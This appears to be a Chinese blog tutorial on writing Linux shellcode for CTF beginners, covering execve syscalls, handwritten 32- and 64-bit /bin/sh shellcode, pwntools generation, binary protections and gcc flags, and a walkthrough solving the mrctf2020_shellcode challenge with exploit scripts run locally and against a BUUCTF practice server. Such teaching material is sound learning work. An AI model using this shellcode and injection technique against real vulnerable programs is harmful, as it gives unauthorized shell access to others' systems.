PWN基础入门 - shellcode
9unk Lv5

shellcode 的基本原理

shellcode 通常使用机器语言编写,是一段用于利用软件漏洞而执行的代码,因其目的常常是让攻击者获得目标机器的命令行 shell 而得名。

shellcode 可分为本地和远程两种类型。本地 shellcode 通常用于提权,攻击者攻击高权限程序中的漏洞,获得与目标进程相同的权限。远程 shellcode 则用于攻击网络上的另一台机器,通过 TCP/IP 套接字为共计则提供 shell 访问。根据连接方式的不同,可分为反向shell、绑定shell 和 套接字重用shell。

有时,攻击者注入目标进程中的字节数是被限制的,因此可以将 shellcode 分阶段执行,由前一阶段比较简短的 shellcode 将后一阶段复杂的 shellcode 下载并执行,这是恶意程序常见的一种操作。

简短的 shell 程序

1
2
3
4
5
6
7
8
9
10
11
12
/*
程序名:shell.c
功能:演示使用程序获取本地 shell
*/
#include "stdlib.h"
#include "unistd.h"

void main()
{
system("/bin/bash");
exit(0);
}

问题:

  1. shellcode 允许输入普遍较短只有几十个字节。
  2. 无法调用系统函数

案例解析

执行之后,可以看到程序拿到了 shell

1

使用 gdb 动态调试 shell

2

“n” 指令执行下一步,可以看到 system 函数是使用动态链接库,函数定位使用的是 <main+0x11>。在不同的计算机环境中,这个地址都是不同的。

因此我们写的shellcode,无法直接调用 system 函数去获得 shell 。

3

解决方法

代码 system("/bin/sh") 底层调用的真实函数是 execve("/bin/sh",0,0),以下是 system 函数的片段源码。

4

使用软中断 int 0x80 或 syscall 指令调用 execve 函数进行系统调用,可使用这个地址查看:Linux System Call Table

  • 32位
    5

  • 64位
    6

syscall 和 int 0x80 的使用

  • int 0x80调用execve函数是一种传统的Linux系统调用方法,它依赖于中断门来进行系统调用,这种方法在32位Linux系统中较为常见。

  • 在64位系统中,系统调用的机制已经发生了变化,采用了更现代的系统调用接口。通常通过syscall指令来实现。syscall指令是x86-64架构中专门用于系统调用的指令。

32 位 shellcode

32 位 shellcode 需要完成如下操作:

1
2
3
4
5
eax = 0xb
ebx = "/bin/sh"0x00(字符串末尾需要用NULL作为结尾)
edx = 0
ecx = 0
int 0x80

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
;;nasm -f elf32 i386.asm
;;ld -m elf_i386 -o i386 i386.o
global _start
_start:
;;32位,push 最多只能压入4字节
push 0x68732f
push 0x6e69622f
;;ebx="/bin/sh",字符串末尾有个NULL
;;第一个压栈的0x68732f其中最后两个00没写
;;因为linux堆栈值默认初始化为0
;;所以最后一个字节00不需要写
mov ebx,esp
;;edx=0
xor edx,edx
;;ecx=0
xor ecx,ecx
;;al=0xb
mov eax,0xb
int 0x80

0x2f62696e2f7368 就是字符串 “/bin/sh” 的十六进制值。

64 位 shellcode

64 位 shellcode 需要完成如下操作:

1
2
3
4
5
rax = 0x3b
rdi = "/bin/sh"0x00(字符串末尾需要用NULL作为结尾)
rsi = 0
rdx = 0
syscall

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
;;nasm -f elf64 amd64.asm
;;ld -m elf_x86_64 -o amd64 amd64.o
global _start
_start:
;;rdx置0
xor rdx,rdx
push rdx
;;rsi = 0
xor rsi,rsi
;;将字符串 "/bin/sh" 指针传入rax
mov rax,0x68732f2f6e69622f
;;字符串格式结尾必须有一个 NULL 值
;;上一个push正好压入一个0,这次直接压入字符串实现字符串格式要求
push rax
mov rdi,rsp
;;调用 execve 函数
mov rax,0x3b
syscall

pwntools 生成 shellcode

使用 pwntools 快速生成对应架构的 shellcode:

  1. 设置目标架构
  2. 生成shellcode

32位

1
2
3
from pwn import*
context(log_level='debug',arch='i386',os='linux')
shellcode=asm(shellcraft.sh())

7

64位

1
2
3
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())

8

案例一:mrctf2020_shellcode_revenge

第一步:IDA静态分析程序

9

read 函数

read函数是通过文件描述符来读取数据的。它的原型如下:

1
2
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);

fd是文件描述符,buf是接收数据的缓冲区地址,count表示期望读取的字节数。read函数会从指定的文件中读取count个字节到buf中,并返回实际读取到的字节数。在读取过程中,文件指针会根据读取的字节数偏移。

fd参数的值可以是以下之一:

1
2
3
0: 标准输入(stdin)
1: 标准输出(stdout)
2: 标准错误(stderr)

第二步:查看程序开启了哪些安全模块

10

前面可以看到,我们输入的数据是存到堆栈中的,而NX功能没开启,说明我们有权限去执行堆栈中的数据。

Rech

程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32

RELRO

Relocation Read-Onl(RELRO)此项技术主要针对GOT改写的攻击方式,它分成两种,Partial RELRO和FULL RELRO
Partial (部分)RELRO容易受到攻击,例如攻击者可以atoi.got为system.plt进而输入/bin/sh\x00获得shell,完全RELRO使整个GOT只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

1
2
3
4
gcc -o hello test.c //默认情况下,是Partial RELRO
gcc -z norelro -o hello test.c // 关闭,即No RELRO
gcc -z lazy -o hello test.c // 部分开启,即Partial RELRO
gcc -z now -o hello test.c // 全部开启,即Full RELRO

Stack-canary

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞是,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行,当启用栈保护后,函数开始执行的时候先会往栈里插入类似cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行,攻击者在覆盖返回地址的时候往往会将cookie信息给覆盖掉,导致栈保护检车失败而阻止shellcode的执行,在linux中我们将cookie信息称为canary。

1
2
3
gcc -fno-stack-protector -o hello test.c   //禁用栈保护
gcc -fstack-protector -o hello test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o hello test.c //启用堆栈保护,为所有函数插入保护代码

NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来,当攻击者在堆栈上部署自己的shellcode并触发时,就会直接造成程序的崩溃,但是可以利用rop这种方法绕过

1
2
3
gcc -o  hello test.c // 默认情况下,开启NX保护
gcc -z execstack -o hello test.c // 禁用NX保护
gcc -z noexecstack -o hello test.c // 开启NX保护

PIE

PTE(Position-Independent Executable,位置无关可执行文件)技术与ASLR技术类似,ASLR将程序运行时的堆栈以及共享库的加载地址随机化,而PIE及时则在编译时将程序编译为位置无关,即程序运行时各个段(如代码但等)加载的虚拟地址也是在装载时才确定,这就意味着。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,传统改写GOT表项也难以进行,因为攻击者不能获得程序的.got段的虚地址。

1
2
3
4
gcc -o hello test.c  // 默认情况下,不开启PIE
gcc -fpie -pie -o hello test.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o hello test.c // 开启PIE,此时为最高强度2
(还与运行时系统ALSR设置有关)

第三步:执行 shellcode,连接程序

本地验证

使用 pwntools 生成 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
# use pwntools generate shellcode
from pwn import*

# set target architecture
context(arch='amd64',os='linux',terminal = ['tmux','sp','-h'])

p = process('./mrctf2020_shellcode')

# Generate shellcode
shellcode1=shellcraft.sh()
payload1=asm(shellcode1)
p.send(payload1)
p.interactive()

11

12

使用手写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# use pwntools generate shellcode
from pwn import*

# set target architecture
context(arch='amd64',os='linux',terminal = ['tmux','sp','-h'])

p = process('./mrctf2020_shellcode')

# Generate shellcode
shellcode1 = '''
xor rdx,rdx
push rdx
xor rsi,rsi
mov rax,0x68732f2f6e69622f
push rax
mov rdi,rsp
mov rax,0x3b
syscall
'''

payload1=asm(shellcode1)
p.send(payload1)
p.interactive()

13

远程验证(buuctf)

14

使用 pwntools 生成 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# use pwntools generate shellcode
from pwn import*

# set target architecture
context(arch='amd64',os='linux',terminal = ['tmux','sp','-h'])

#p = process('./mrctf2020_shellcode')
p=remote('node5.buuoj.cn',28002)

# Generate shellcode
shellcode1=shellcraft.sh()
payload1=asm(shellcode1)
p.send(payload1)
p.interactive()

15

使用手写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# use pwntools generate shellcode
from pwn import*

# set target architecture
context(arch='amd64',os='linux',terminal = ['tmux','sp','-h'])

p=remote('node5.buuoj.cn',28002)

# Generate shellcode
shellcode1 = '''
xor rdx,rdx
push rdx
xor rsi,rsi
mov rax,0x68732f2f6e69622f
push rax
mov rdi,rsp
mov rax,0x3b
syscall
'''

payload1=asm(shellcode1)
p.send(payload1)
p.interactive()

16

参考

  • 本文标题:PWN基础入门 - shellcode
  • 本文作者:9unk
  • 创建时间:2024-04-07 10:00:00
  • 本文链接:https://9unkk.github.io/2024/04/07/pwn-ji-chu-ru-men-shellcode/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!